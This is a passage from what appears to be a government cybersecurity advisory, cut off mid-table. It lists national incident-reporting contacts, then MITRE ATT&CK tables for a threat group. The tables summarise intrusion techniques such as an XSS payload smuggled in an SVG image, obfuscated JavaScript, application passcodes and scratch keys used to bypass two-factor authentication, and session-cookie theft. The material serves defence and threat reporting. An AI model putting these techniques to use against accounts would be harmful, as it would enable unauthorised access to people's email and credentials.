<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
